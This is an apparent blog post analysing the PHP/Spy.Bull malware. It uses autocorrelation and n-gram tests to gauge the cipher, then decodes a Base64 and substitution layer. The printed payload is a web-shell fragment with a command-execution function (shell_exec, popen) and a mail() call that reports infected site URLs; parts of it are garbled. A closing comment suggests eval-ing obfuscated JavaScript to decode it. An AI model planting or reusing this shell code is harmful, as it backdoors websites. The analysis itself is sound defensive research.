Skip navigation.

PHP/Spy.Bull Cryptanalysis of Encryption used and Threat Analysis

Today we're going to locate a PHP/Spy.Bull infected target, Cryptoanalyze the
encoded blocks involved in and finally analyze the deriving thread.

It's clear that cryptanalysis part is is superabundant for the study of the actual threat, what I want to show here is a different, more pragmatic and general approach to the problem.

This procedure can be used in much more complex contexts, where encryption is stronger that our case and there is an important lack of informations.

This malicious PHP malware affects compromised Websites, with an encrypted page, the classical anatomy of an infected URL is

Let's now see this page.


As you can see we have two blocks of encrypted data:

1. The first one that does not help us in this moment because we don't have any explicit information about the encryption algorithm used, but we can pragmatically how complex is this cipher text.
2. We can decode the second block, its easly Base64 Encoded.

At a first look it's obvious that the first code block presents an encryption that should be not so hard. But this is only a supposition, we have to demonstrate:

1. It's really easy how appears?
2. We can have a misure of how many complex is?

Could happen that an apparently easy block it's the result of complex operations.

Let's check as first istance the Autocorrelation of this block.
The autocorrelation of a document is an index of the similarity of different sections of the document. It is sometimes possible to work out the key length of an encrypted document from its autocorrelation.

Why apply this?

A weak encryption scheme presents a low entropy this implies that text's randomness is low, by using Autocorrelation we check correlations between the binary sequence s and an alternative version of s that is displaced by t positions.

The best approach to understand how autocorrelation works, is a graphical comparision

This is the Autocorrelation of a stron encrypted data block

Here we have the Autocorrelation of our encrypted block of data:

As you can see amplitude of the second graph is major this mean that entropy is low consequently also randomness and finally period is reducted.

Other informations can be obtained from N-Gram test.

An n-gram is a string of n distinct characters. 2-grams and 3-grams are called bi- or digrams and trigrams resp. 1-gram lists are called histograms.

The n-gram list of a document contains all n-grams of the document together with their frequency, usually ordered descendingly by frequency.
As previously stated, a weak encrypted block has a little period, so it's much easy to have
an high number of N-Grams. Let's compare the quantity of N-Grams between our data block and the strongly encrypted one:

Strongly Encrypted:

No. Substring Frequency (in %) Frequency
1 ENBT 50.0000 1
2 OIYB 50.0000 1

Weakly Encrypted:

No. Substring Frequency (in %) Frequency
1 N 8.0965 188
2 M 7.4074 172
3 D 6.5891 153
4 J 5.9001 137
5 I 5.8140 135

Now we know that the cipher used it's easy, probably an armored substitution or rot13. It's time to decode this piece of malicious PHP.

As previously said the second data block presents is a known ciphertext, technically talking Base64 is not a true encryption algorithm, but we assume this unknown.

This is the decoded block


This piece of code acts as a decoder for the first block of data, the algorithm is essentially easy and can be divided into two steps

1. Base64 Decoding
2. Substitution Cipher

Let's base64 decode it

?>/// R5sp2ns5 CMD ///
Ch1ng4ng th4s CMD w4ll r5s3lt 4n c2rr3pt sc1nn4ng !

slightly obuscated with a form of substitution. By watching the decryption code of the first block we notice this


this function substitutes univocally 123456aouie in aouie123456

In this way we substitute
1 -> a
2 -> o
3 -> u
4 -> i
5 -> e

This is what we obtain:

?>/// Response CMD ///
Changing this CMD will result in corrupt scanning !

$jaenwiemoethemdanontvangenhe = "";
$enwelkonderwerpmoethethebben = "StableScanner";
$ennatuurlijkmoetenwedeurlnietvergeten = "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$hewehebbenooknoginfo = "From: ".$fromage;

mail($jaenwiemoethemdanontvangenhe, $enwelkonderwerpmoethethebben, $ennatuurlijkmoetenwedeurlnietvergeten, $hewehebbenooknoginfo);

this is the definition of mail() function

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

function ex($cfe){
$res = '';
if (!empty($cfe)){
$res = join("n",$res);
$res = @shell_exec($cfe);
$res = @ob_get_contents();
$res = @ob_get_contents();
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,10au); }
return $res;

this php page acts as a scanner and sends informations to a specific mail address.

Giuseppe 'Evilcry' Bonfa'


Generally you do not have to decode any obfuscated JS code yourself, just run it and replace the "<" tag so it wont run when you .write it, something like this:

variable = eval (unicodeunicodeunicodeyadayadayada);
document.write ( variable.replace( '<' , '&lt;' ) );